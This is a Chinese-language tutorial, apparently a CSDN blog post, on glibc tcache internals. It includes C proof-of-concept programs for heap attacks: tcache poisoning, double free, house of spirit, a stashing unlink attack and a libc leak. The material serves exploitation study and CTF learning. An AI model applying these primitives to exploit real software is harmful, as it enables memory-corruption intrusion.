Tcache attack

@TOC


tcache数据结构

tcache增加了两个全新的结构体,tcache_entry、tcache_perthread_struct。并且在libc内部定义了两个线程局部变量,该局部变量使得在每一个线程内部维护一个tcache结构,当在某线程内部释放内存时,无论内存块属于哪个分配区,都会挂到释放该内存块线程的tcache中。

tcache_entry结构体,是一个单链表结构指针。
tcache_pthread_struct结构体,是一个线程tcache的主体,由两个数组组成。其中,entries数据代表tcache的各个不同大小的链表,共TCACHE_MAX_BINS个(默认为64),counts数组代表每一个特定chunk大小的单链表内有多少个内存块。

typedef struct tcache_entry
{
  struct tcache_entry *next;
} tcache_entry;


typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread char tcache_shutting_down = 0;
static __thread tcache_perthread_struct *tcache = NULL;

tcache_perthread_struct的entries放置64个bins的地址,数组count放每个bins中chunk的数量,放入bins的chunk会包含一个tcache_entry指针,其实就是fd,指向相同大小bin的下一个chunk的用户数据(记住不是header)
结构体最多的单链表个数是64个,每个单链表中最多有7个内存块,在64位机器下以16字节递增,最小24,可容纳的最大内存块大小是1032。在32位上由12到512

# define TCACHE_MAX_BINS		64
# define TCACHE_FILL_COUNT 7

代码中有一个tcache_init函数

static void
tcache_init(void)
{
  mstate ar_ptr;
  void *victim = 0;
  const size_t bytes = sizeof (tcache_perthread_struct);

  if (tcache_shutting_down)
    return;

  arena_get (ar_ptr, bytes);
  victim = _int_malloc (ar_ptr, bytes);
  if (!victim && ar_ptr != NULL)
    {
      ar_ptr = arena_get_retry (ar_ptr, bytes);
      victim = _int_malloc (ar_ptr, bytes);//malloc生成的内存块
    }


  if (ar_ptr != NULL)
    __libc_lock_unlock (ar_ptr->mutex);

  /* In a low memory situation, we may not be able to allocate memory
     - in which case, we just keep trying later.  However, we
     typically do this very early, so either there is sufficient
     memory, or there isn't enough memory to do non-trivial
     allocations anyway.  */
  if (victim)
    {
      tcache = (tcache_perthread_struct *) victim;
      memset (tcache, 0, sizeof (tcache_perthread_struct));
    }

}

发现tcache是一个指针,而内存块是用_int_malloc生成的
在对线程的分配区初始化之后,第一个分配的内存就是tcache内存块。

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x555555554000     0x555555555000 r-xp     1000 0      /home/p4nda/Desktop/1
    0x555555754000     0x555555755000 r--p     1000 0      /home/p4nda/Desktop/1
    0x555555755000     0x555555756000 rw-p     1000 1000   /home/p4nda/Desktop/1
    0x555555756000     0x555555777000 rw-p    21000 0      [heap]
    0x7ffff79f5000     0x7ffff7bcb000 r-xp   1d6000 0      /lib/x86_64-linux-gnu/libc-2.26.so
    0x7ffff7bcb000     0x7ffff7dcb000 ---p   200000 1d6000 /lib/x86_64-linux-gnu/libc-2.26.so
    0x7ffff7dcb000     0x7ffff7dcf000 r--p     4000 1d6000 /lib/x86_64-linux-gnu/libc-2.26.so
    0x7ffff7dcf000     0x7ffff7dd1000 rw-p     2000 1da000 /lib/x86_64-linux-gnu/libc-2.26.so
    0x7ffff7dd1000     0x7ffff7dd5000 rw-p     4000 0      
    0x7ffff7dd5000     0x7ffff7dfc000 r-xp    27000 0      /lib/x86_64-linux-gnu/ld-2.26.so
    0x7ffff7fe0000     0x7ffff7fe2000 rw-p     2000 0      
    0x7ffff7ff7000     0x7ffff7ffa000 r--p     3000 0      [vvar]
    0x7ffff7ffa000     0x7ffff7ffc000 r-xp     2000 0      [vdso]
    0x7ffff7ffc000     0x7ffff7ffd000 r--p     1000 27000  /lib/x86_64-linux-gnu/ld-2.26.so
    0x7ffff7ffd000     0x7ffff7ffe000 rw-p     1000 28000  /lib/x86_64-linux-gnu/ld-2.26.so
    0x7ffff7ffe000     0x7ffff7fff000 rw-p     1000 0      
    0x7ffffffde000     0x7ffffffff000 rw-p    21000 0      [stack]
0xffffffffff600000 0xffffffffff601000 r-xp     1000 0      [vsyscall]
pwndbg> p *(struct tcache_perthread_struct *)0x555555756000
$1 = {
  counts = "\000\000\000\000\000\000\000\000Q\002", '\000' <repeats 53 times>, 
  entries = {0x0 <repeats 64 times>}
}
pwndbg>

使用方法

堆分配

tcache_get、tcache_put,可以看出这两个函数与fastbin的取出和插入基本完全一样。

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
  tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
  assert (tc_idx < TCACHE_MAX_BINS);
  e->next = tcache->entries[tc_idx];
  tcache->entries[tc_idx] = e;
  ++(tcache->counts[tc_idx]);
}

tcache_put是把chunk放进bin里,第一个参数是放的chunk的指针,第二个是size

static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

tcache把相应的拿出来

内存释放

在fastbin操作之前进行,如果chunk大小符合要求,并且bin没有满,就放进去

内存申请

(1)当fastbin中成功返回了一个chunk,那么该bin中的其他相同大小的chunk会被放到tcache bin里面,注意是chunk在fastbin和tcachebin是反的

static void *
_int_malloc (mstate av, size_t bytes)
{
... 变量定义 ...
#if USE_TCACHE
  size_t tcache_unsorted_count;	    /* count of unsorted chunks processed */
#endif
...				
=======  1.  申请块符合fastbin块大小  ========
  if ((unsigned long) (nb) <= (unsigned long) (get_max_fast ()))
    {
      idx = fastbin_index (nb);
      mfastbinptr *fb = &fastbin (av, idx);
      mchunkptr pp;
      victim = *fb;

      if (victim != NULL)
	{
	  if (SINGLE_THREAD_P)
	    *fb = victim->fd;
	  else
	    REMOVE_FB (fb, pp, victim);
	  if (__glibc_likely (victim != NULL))
	    {
	      size_t victim_idx = fastbin_index (chunksize (victim));
	      if (__builtin_expect (victim_idx != idx, 0))
		malloc_printerr ("malloc(): memory corruption (fast)");
	      check_remalloced_chunk (av, victim, nb);
#if USE_TCACHE
	      /* While we're here, if we see other chunks of the same size,
		 stash them in the tcache.  */
	      size_t tc_idx = csize2tidx (nb);
	      if (tcache && tc_idx < mp_.tcache_bins)
		{
		  mchunkptr tc_victim;

		  /* While bin not empty and tcache not full, copy chunks.  */
		  while (tcache->counts[tc_idx] < mp_.tcache_count
			 && (tc_victim = *fb) != NULL)
		    {
		      if (SINGLE_THREAD_P)
			*fb = tc_victim->fd;
		      else
			{
			  REMOVE_FB (fb, pp, tc_victim);
			  if (__glibc_unlikely (tc_victim == NULL))
			    break;
			}
		      tcache_put (tc_victim, tc_idx);
		    }
		}
#endif
	      void *p = chunk2mem (victim);
	      alloc_perturb (p, bytes);
	      return p;
	    }
	}
    }

(2)smallbin和fastbin情况差不多,剩余的会填到tcache bin中,直到上限

=======  2.  申请块符合smallbin块大小  ========
  if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          bck = victim->bk;
	  if (__glibc_unlikely (bck->fd != victim))
	    malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;
          bck->fd = bin;

          if (av != &main_arena)
	    set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
	  /* While we're here, if we see other chunks of the same size,
	     stash them in the tcache.  */
	  size_t tc_idx = csize2tidx (nb);
	  if (tcache && tc_idx < mp_.tcache_bins)
	    {
	      mchunkptr tc_victim;

	      /* While bin not empty and tcache not full, copy chunks over.  */
	      while (tcache->counts[tc_idx] < mp_.tcache_count
		     && (tc_victim = last (bin)) != bin)
		{
		  if (tc_victim != 0)
		    {
		      bck = tc_victim->bk;
		      set_inuse_bit_at_offset (tc_victim, nb);
		      if (av != &main_arena)
			set_non_main_arena (tc_victim);
		      bin->bk = bck;
		      bck->fd = bin;

		      tcache_put (tc_victim, tc_idx);
	            }
		}
	    }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

...

#if USE_TCACHE
  INTERNAL_SIZE_T tcache_nb = 0;
  size_t tc_idx = csize2tidx (nb);
  if (tcache && tc_idx < mp_.tcache_bins)
    tcache_nb = nb;
  int return_cached = 0;

  tcache_unsorted_count = 0;
#endif

(3)当在unsorted bin链上循环处理时,当找到大小合适的链时,并不直接返回,而是先放到tcache中,继续处理。

tcache中取出chunk

在libc_malloc调用_int_malloc前,如果tcache bin中有符合的,则直接返回

bining code中,如果在tcache放入的chunk达到上限,则直接返回最后一个chunk,默认情况下没有限制


hack

tcache poisoning

覆盖 tcache 中的 next,不需要伪造任何 chunk 结构即可实现 malloc 到任何地址。

glibc_2.26 [master●] bat tcache_poisoning.c
───────┬─────────────────────────────────────────────────────────────────────────────────
       │ File: tcache_poisoning.c
───────┼─────────────────────────────────────────────────────────────────────────────────
   1   │ #include <stdio.h>
   2   │ #include <stdlib.h>
   3   │ #include <stdint.h>
   45int main()
   6{
   7fprintf(stderr, "This file demonstrates a simple tcache poisoning attack by tricking malloc into\n"
   8"returning a pointer to an arbitrary location (in this case, the stack).\n"
   9"The attack is very similar to fastbin corruption attack.\n\n");
  1011size_t stack_var;
  12fprintf(stderr, "The address we want malloc() to return is %p.\n", (char*)&stack_var);
  1314fprintf(stderr, "Allocating 1 buffer.\n");
  15intptr_t *a = malloc(128);//程序malloc 128大小的chunk
  16fprintf(stderr, "malloc(128): %p\n", a);
  17fprintf(stderr, "Freeing the buffer...\n");
  18free(a); //free进tcache
  1920fprintf(stderr, "Now the tcache list has [ %p ].\n", a);
  21fprintf(stderr, "We overwrite the first %lu bytes (fd/next pointer) of the data at %p\n"
  22"to point to the location to control (%p).\n", sizeof(intptr_t), a, &stack_var);
  23   │         a[0] = (intptr_t)&stack_var;//修改next指针
  2425fprintf(stderr, "1st malloc(128): %p\n", malloc(128));
  26fprintf(stderr, "Now the tcache list has [ %p ].\n", &stack_var);
  2728intptr_t *b = malloc(128);
  29fprintf(stderr, "2st malloc(128): %p\n", b);
  30fprintf(stderr, "We got the control\n");
  3132return 0;
  33}

tcache dup

利用的是 tcache_put() 的不严谨
因为没有任何检查,所以我们可以对同一个 chunk 多次 free,造成 cycliced list。

   1   │ #include <stdio.h>
   2   │ #include <stdlib.h>
   34int main()
   5{
   6fprintf(stderr, "This file demonstrates a simple double-free attack with tcache.\n");
   78fprintf(stderr, "Allocating buffer.\n");
   9int *a = malloc(8);
  1011fprintf(stderr, "malloc(8): %p\n", a);
  12fprintf(stderr, "Freeing twice...\n");
  13free(a);
  14free(a);
  1516fprintf(stderr, "Now the free list has [ %p, %p ].\n", a, a);
  17fprintf(stderr, "Next allocated buffers will be same: [ %p, %p ].\n", malloc(8), malloc(8));
  1819return 0;
  20}

在这里插入图片描述

tcache perthread corruption

tcache_perthread_struct 是整个 tcache 的管理结构,如果能控制这个结构体,那么无论我们 malloc 的 size 是多少,地址都是可控的。
如果有下面这种堆排

tcache_    +------------+
\perthread |......      |
\_struct   +------------+
           |counts[i]   |
           +------------+
           |......      |          +----------+
           +------------+          |header    |
           |entries[i]  |--------->+----------+
           +------------+          |NULL      |
           |......      |          +----------+
           |            |          |          |
           +------------+          +----------+

通过一些手段(如 tcache posioning),我们将其改为了

tcache_    +------------+<---------------------------+
\perthread |......      |                            |
\_struct   +------------+                            |
           |counts[i]   |                            |
           +------------+                            |
           |......      |          +----------+      |
           +------------+          |header    |      |
           |entries[i]  |--------->+----------+      |
           +------------+          |target    |------+
           |......      |          +----------+
           |            |          |          |
           +------------+          +----------+

这样,两次 malloc 后我们就返回了 tcache_perthread_struct 的地址,就可以控制整个 tcache 了。
因为 tcache_perthread_struct 也在堆上,因此这种方法一般只需要 partial overwrite 就可以达到目的。

tcache house of spirit

其实和常规的hos差不多,但是不用在free的fake_chunk后构造了,因为tcache_put在chunk size和pre_size上出错是没有检测的

#include <stdio.h>
#include <stdlib.h>

int main()
{
    fprintf(stderr, "This file demonstrates the house of spirit attack on tcache.\n");
    fprintf(stderr, "It works in a similar way to original house of spirit but you don't need to create fake chunk after the fake chunk that will be freed.\n");
    fprintf(stderr, "You can see this in malloc.c in function _int_free that tcache_put is called without checking if next chunk's size and prev_inuse are sane.\n");
    fprintf(stderr, "(Search for strings \"invalid next size\" and \"double free or corruption\")\n\n");

    fprintf(stderr, "Ok. Let's start with the example!.\n\n");


    fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
    malloc(1);

    fprintf(stderr, "Let's imagine we will overwrite 1 pointer to point to a fake chunk region.\n");
    unsigned long long *a; //pointer that will be overwritten
    unsigned long long fake_chunks[10]; //fake chunk region

    fprintf(stderr, "This region contains one fake chunk. It's size field is placed at %p\n", &fake_chunks[1]);
  //print the size of fake_chunk
    fprintf(stderr, "This chunk size has to be falling into the tcache category (chunk.size <= 0x410; malloc arg <= 0x408 on x64). The PREV_INUSE (lsb) bit is ignored by free for tcache chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
    fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
    fake_chunks[1] = 0x40; // this is the size


    fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);//查看size的地址
    fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");

    a = &fake_chunks[2];//tcache的entries指向content

    fprintf(stderr, "Freeing the overwritten pointer.\n");
    free(a);

    fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
    fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}

其实关键代码就三个…

 malloc(1);
 fake_chunks[1] = 0x40; // this is the size
 a = &fake_chunks[2];
 free(a);

攻击之后的目的是,去控制栈上的内容,malloc 一块 chunk ,然后我们通过在栈上 fake 的 chunk,然后去 free 掉他,我们会发现

(0x20)     fastbin[0]: 0x0
(0x30)     fastbin[1]: 0x0
(0x40)     fastbin[2]: 0x0
(0x50)     fastbin[3]: 0x0
(0x60)     fastbin[4]: 0x0
(0x70)     fastbin[5]: 0x0
(0x80)     fastbin[6]: 0x0
(0x90)     fastbin[7]: 0x0
(0xa0)     fastbin[8]: 0x0
(0xb0)     fastbin[9]: 0x0
                  top: 0x4052e0 (size : 0x20d20)
       last_remainder: 0x0 (size : 0x0)
            unsortbin: 0x0
(0x90)   tcache_entry[7]: 0x7fffffffe510 --> 0x401340

Tcache 里就存放了一块 栈上的内容,我们之后只需 malloc,就可以控制这块内存。

unlink

在 smallbin 中包含有空闲块的时候,会同时将同大小的其他空闲块,放入 tcache 中,此时也会出现解链操作,但相比于 unlink 宏,缺少了链完整性校验。因此,原本 unlink 操作在该条件下也可以使用。(CTF-WIKI)

tcache unlink attack

calloc 分配堆块时,因为 calloc 分配堆块时不从 tcache bin 中选取,在获取到一个 smallbin 中的一个 chunk 后会如果 tcache 仍有足够空闲位置,会将剩余的 small bin 链入 tcache
在这个过程中只对第一个 bin 进行了完整性检查,后面的堆块的检查缺失。
当攻击者可以写一个 small bin 的 bk 指针时,其可以在任意地址上写一个 libc 地址 (类似 unsorted bin attack 的效果)。构造得当的情况下也可以分配 fake chunk 到任意地址。

#include <stdio.h>
#include <stdlib.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;

    fprintf(stderr, "This file demonstrates the stashing unlink attack on tcache.\n\n");
    fprintf(stderr, "This poc has been tested on both glibc 2.27 and glibc 2.29.\n\n");
    fprintf(stderr, "This technique can be used when you are able to overwrite the victim->bk pointer. Besides, it's necessary to alloc a chunk with calloc at least once. Last not least, we need a writable address to bypass check in glibc\n\n");
    fprintf(stderr, "The mechanism of putting smallbin into tcache in glibc gives us a chance to launch the attack.\n\n");
    fprintf(stderr, "This technique allows us to write a libc addr to wherever we want and create a fake chunk wherever we need. In this case we'll create the chunk on the stack.\n\n");

    // stack_var emulate the fake_chunk we want to alloc to
    fprintf(stderr, "Stack_var emulates the fake chunk we want to alloc to.\n\n");
    fprintf(stderr, "First let's write a writeable address to fake_chunk->bk to bypass bck->fd = bin in glibc. Here we choose the address of stack_var[2] as the fake bk. Later we can see *(fake_chunk->bk + 0x10) which is stack_var[4] will be a libc addr after attack.\n\n");

    stack_var[3] = (unsigned long)(&stack_var[2]);

    fprintf(stderr, "You can see the value of fake_chunk->bk is:%p\n\n",(void*)stack_var[3]);
    fprintf(stderr, "Also, let's see the initial value of stack_var[4]:%p\n\n",(void*)stack_var[4]);
    fprintf(stderr, "Now we alloc 9 chunks with malloc.\n\n");

    //now we malloc 9 chunks
    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }

    //put 7 tcache
    fprintf(stderr, "Then we free 7 of them in order to put them into tcache. Carefully we didn't free a serial of chunks like chunk2 to chunk9, because an unsorted bin next to another will be merged into one after another malloc.\n\n");

    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }

    fprintf(stderr, "As you can see, chunk1 & [chunk3,chunk8] are put into tcache bins while chunk0 and chunk2 will be put into unsorted bin.\n\n");

    //last tcache bin
    free(chunk_lis[1]);
    //now they are put into unsorted bin
    free(chunk_lis[0]);
    free(chunk_lis[2]);

    //convert into small bin
    fprintf(stderr, "Now we alloc a chunk larger than 0x90 to put chunk0 and chunk2 into small bin.\n\n");

    malloc(0xa0);//>0x90

    //now 5 tcache bins
    fprintf(stderr, "Then we malloc two chunks to spare space for small bins. After that, we now have 5 tcache bins and 2 small bins\n\n");

    malloc(0x90);
    malloc(0x90);

    fprintf(stderr, "Now we emulate a vulnerability that can overwrite the victim->bk pointer into fake_chunk addr: %p.\n\n",(void*)stack_var);

    //change victim->bck
    /*VULNERABILITY*/
    chunk_lis[2][1] = (unsigned long)stack_var;
    /*VULNERABILITY*/

    //trigger the attack
    fprintf(stderr, "Finally we alloc a 0x90 chunk with calloc to trigger the attack. The small bin preiously freed will be returned to user, the other one and the fake_chunk were linked into tcache bins.\n\n");

    calloc(1,0x90);

    fprintf(stderr, "Now our fake chunk has been put into tcache bin[0xa0] list. Its fd pointer now point to next free chunk: %p and the bck->fd has been changed into a libc addr: %p\n\n",(void*)stack_var[2],(void*)stack_var[4]);

    //malloc and return our fake chunk on stack
    target = malloc(0x90);   

    fprintf(stderr, "As you can see, next malloc(0x90) will return the region our fake chunk: %p\n",(void*)target);
    return 0;
}

先malloc九个相同size的chunk,free后刘个,然后free一个后,tcache满了,剩下的给到unsorted bin,malloc一块比之前size要大的chunk,然后剩下两块chunk0和chunk2放进small bin,并且只剩5个tcache bin
修改chunk2的第二块内存,bk为target地址,然后我calloc(size ),因为small bin里面是FIFO,那chunk0出去,根据刚刚上述的机制,修改假chunk2进入tcache,看到bk,以为bk指向的那一块内存也是small bin,连带进去了
然后malloc(size),tcache是LIFO,所以把fake_chunk写进去了
fake chunk fd 指向下一个空闲块,在 unlink 过程中 bck->fd=bin 的赋值操作使得fake chunk写入了一个libc地址

(0xa0)   tcache_entry[8](7): 0x7fffffffdbd0 --> 0x6033a0 --> 0x6036c0 --> 0x603620 --> 0x603580 --> 0x6034e0 --> 0x603440
gdb-peda$ x/4gx 0x7fffffffdbd0
0x7fffffffdbd0: 0x00000000006033a0      0x00007fffffffdbd0
0x7fffffffdbe0: 0x00007ffff7dcfd30      0x0000000000000000

泄露libc

给出WIKI上的

#include <stdlib.h>
#include <stdio.h>

int main(int argc , char* argv[])
{
    long* t[7];
    long *a=malloc(0x100);
    long *b=malloc(0x10);

    // make tcache bin full
    for(int i=0;i<7;i++)
        t[i]=malloc(0x100);
    for(int i=0;i<7;i++)
        free(t[i]);

    free(a);
    // a is put in an unsorted bin because the tcache bin of this size is full
    printf("%p\n",a[0]);
} 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值